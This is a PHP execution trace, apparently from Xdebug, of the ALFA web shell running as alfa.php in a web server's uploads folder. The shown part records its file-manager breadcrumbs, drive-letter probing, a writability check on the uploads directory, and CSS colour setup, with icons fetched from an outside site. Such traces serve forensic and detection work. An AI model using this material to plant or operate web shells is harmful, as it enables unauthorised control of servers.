5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'www/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'www/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'html/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'html/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1046 $cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1039 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1041 $cach_cwd_path = ''
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j = 0
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'www/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'www/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'html/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'html/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'uploads/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'uploads/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1046 $cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1039 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1048 $drives = ''
6 105 0 0.070407 3423304 range 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1049 2 'a' 'z'
6 105 1 0.070429 3424704
6 105 R [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
6 106 0 0.070474 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'a:\\'
6 106 1 0.070516 3424712
6 106 R FALSE
6 107 0 0.070537 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'b:\\'
6 107 1 0.070563 3424712
6 107 R FALSE
6 108 0 0.070582 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'c:\\'
6 108 1 0.070599 3424712
6 108 R FALSE
6 109 0 0.070612 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'd:\\'
6 109 1 0.070628 3424712
6 109 R FALSE
6 110 0 0.070642 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'e:\\'
6 110 1 0.070657 3424712
6 110 R FALSE
6 111 0 0.070670 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'f:\\'
6 111 1 0.070687 3424712
6 111 R FALSE
6 112 0 0.070700 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'g:\\'
6 112 1 0.070716 3424712
6 112 R FALSE
6 113 0 0.070730 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'h:\\'
6 113 1 0.070746 3424712
6 113 R FALSE
6 114 0 0.070759 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'i:\\'
6 114 1 0.070774 3424712
6 114 R FALSE
6 115 0 0.070786 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'j:\\'
6 115 1 0.070803 3424712
6 115 R FALSE
6 116 0 0.070815 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'k:\\'
6 116 1 0.070843 3424712
6 116 R FALSE
6 117 0 0.070857 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'l:\\'
6 117 1 0.070872 3424712
6 117 R FALSE
6 118 0 0.070885 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'm:\\'
6 118 1 0.070900 3424712
6 118 R FALSE
6 119 0 0.070913 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'n:\\'
6 119 1 0.070929 3424712
6 119 R FALSE
6 120 0 0.070942 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'o:\\'
6 120 1 0.070958 3424712
6 120 R FALSE
6 121 0 0.070972 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'p:\\'
6 121 1 0.070988 3424712
6 121 R FALSE
6 122 0 0.071001 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'q:\\'
6 122 1 0.071017 3424712
6 122 R FALSE
6 123 0 0.071030 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'r:\\'
6 123 1 0.071045 3424712
6 123 R FALSE
6 124 0 0.071058 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 's:\\'
6 124 1 0.071074 3424712
6 124 R FALSE
6 125 0 0.071087 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 't:\\'
6 125 1 0.071103 3424712
6 125 R FALSE
6 126 0 0.071116 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'u:\\'
6 126 1 0.071131 3424712
6 126 R FALSE
6 127 0 0.071144 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'v:\\'
6 127 1 0.071159 3424712
6 127 R FALSE
6 128 0 0.071172 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'w:\\'
6 128 1 0.071188 3424712
6 128 R FALSE
6 129 0 0.071201 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'x:\\'
6 129 1 0.071221 3424712
6 129 R FALSE
6 130 0 0.071235 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'y:\\'
6 130 1 0.071250 3424712
6 130 R FALSE
6 131 0 0.071264 3424672 is_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1050 1 'z:\\'
6 131 1 0.071279 3424712
6 131 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1052 $csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
6 132 0 0.071319 3423304 __showicon 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1058 1 'alfamini'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
6 132 1 0.071384 3423304
6 132 R 'http://solevisible.com/images/alfamini.png'
6 133 0 0.071809 3438264 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1069 1 'header_values'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#67ABDF'
6 133 1 0.071851 3438264
6 133 R '#67ABDF'
6 134 0 0.071868 3439800 __showicon 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1069 1 'alfamini'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
6 134 1 0.071927 3439800
6 134 R 'http://solevisible.com/images/alfamini.png'
6 135 0 0.071947 3443896 __showicon 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1069 1 'alfamini'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
6 135 1 0.072012 3443896
6 135 R 'http://solevisible.com/images/alfamini.png'
6 136 0 0.072031 3443896 __showicon 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1069 1 'btn'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
6 136 1 0.072085 3443896
6 136 R 'http://solevisible.com/images/btn.png'
6 137 0 0.072102 3443896 is_writable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1070 1 '/var/www/html/uploads/'
6 137 1 0.072129 3443936
6 137 R TRUE
6 138 0 0.072145 3447992 alfaCssLoadColors 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1070 0
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 627 $css = ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'shell_border'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.header'
7 139 0 0.072197 3447992 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'shell_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7 139 1 0.072239 3447992
7 139 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 140 0 0.072271 3447992 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'border: 7px solid {color}'
7 140 1 0.072291 3448144
7 140 R 'border: 7px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border: 7px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.header{border: 7px solid #0E304A}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '#meunlist'
7 141 0 0.072344 3448112 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'shell_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7 141 1 0.072381 3448112
7 141 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 142 0 0.072406 3448112 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'border-color: {color}'
7 142 1 0.072423 3448256
7 142 R 'border-color: #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border-color: #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '#meunlist{border-color: #0E304A}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '#hidden_sh'
7 143 0 0.072475 3448136 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'shell_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7 143 1 0.072512 3448136
7 143 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 144 0 0.072536 3448136 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'background-color: {color}'
7 144 1 0.072554 3448288
7 144 R 'background-color: #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '#hidden_sh{background-color: #0E304A}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.ajaxarea'
7 145 0 0.072607 3448176 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'shell_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7 145 1 0.072643 3448176
7 145 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 146 0 0.072668 3448176 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
7 146 1 0.072685 3448328
7 146 R 'border: 1px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border: 1px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.ajaxarea{border: 1px solid #0E304A}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.foot'
7 147 0 0.072737 3448240 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'shell_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7 147 1 0.072773 3448240
7 147 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 148 0 0.072797 3448240 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'border-color: {color}'
7 148 1 0.072818 3448384
7 148 R 'border-color: #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border-color: #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.foot{border-color: #0E304A}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_vars'
7 149 0 0.072935 3448232 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_vars'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#27979B'
7 149 1 0.072963 3448232
7 149 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_vars{color: #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_values'
7 150 0 0.073032 3448264 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_values'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#67ABDF'
7 150 1 0.073064 3448264
7 150 R '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_values{color: #67ABDF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_on'
7 151 0 0.073114 3448296 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_on'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#00FF00'
7 151 1 0.073140 3448296
7 151 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_on{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_off'
7 152 0 0.073197 3448360 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_off'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#ff0000'
7 152 1 0.073223 3448360
7 152 R '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_off{color: #ff0000;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_none'
7 153 0 0.073270 3448360 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_none'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#00FF00'
7 153 1 0.073296 3448360
7 153 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_none{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'home_shell'
7 154 0 0.073343 3448424 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'home_shell'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#ff0000'
7 154 1 0.073369 3448424
7 154 R '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.home_shell{color: #ff0000;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'home_shell:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.home_shell:hover'
7 155 0 0.073428 3448424 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'home_shell:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
7 155 1 0.073479 3448424
7 155 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 156 0 0.073505 3448424 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 156 1 0.073522 3448560
7 156 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.home_shell:hover{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'back_shell'
7 157 0 0.073573 3448480 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'back_shell'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#efbe73'
7 157 1 0.073599 3448480
7 157 R '#efbe73'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#efbe73'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.back_shell{color: #efbe73;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'back_shell:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.back_shell:hover'
7 158 0 0.073659 3448480 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'back_shell:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
7 158 1 0.073692 3448480
7 158 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 159 0 0.073716 3448480 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 159 1 0.073733 3448616
7 159 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.back_shell:hover{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_pwd'
7 160 0 0.073783 3448544 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_pwd'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#00FF00'
7 160 1 0.073809 3448544
7 160 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_pwd{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_pwd:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.header_pwd:hover'
7 161 0 0.073869 3448544 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'header_pwd:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
7 161 1 0.073902 3448544
7 161 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 162 0 0.073926 3448544 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 162 1 0.073943 3448680
7 162 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.header_pwd:hover{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_drive'
7 163 0 0.073994 3448672 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_drive'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#00FF00'
7 163 1 0.074020 3448672
7 163 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_drive{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_drive:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.header_drive:hover'
7 164 0 0.074083 3448672 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'header_drive:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
7 164 1 0.074115 3448672
7 164 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
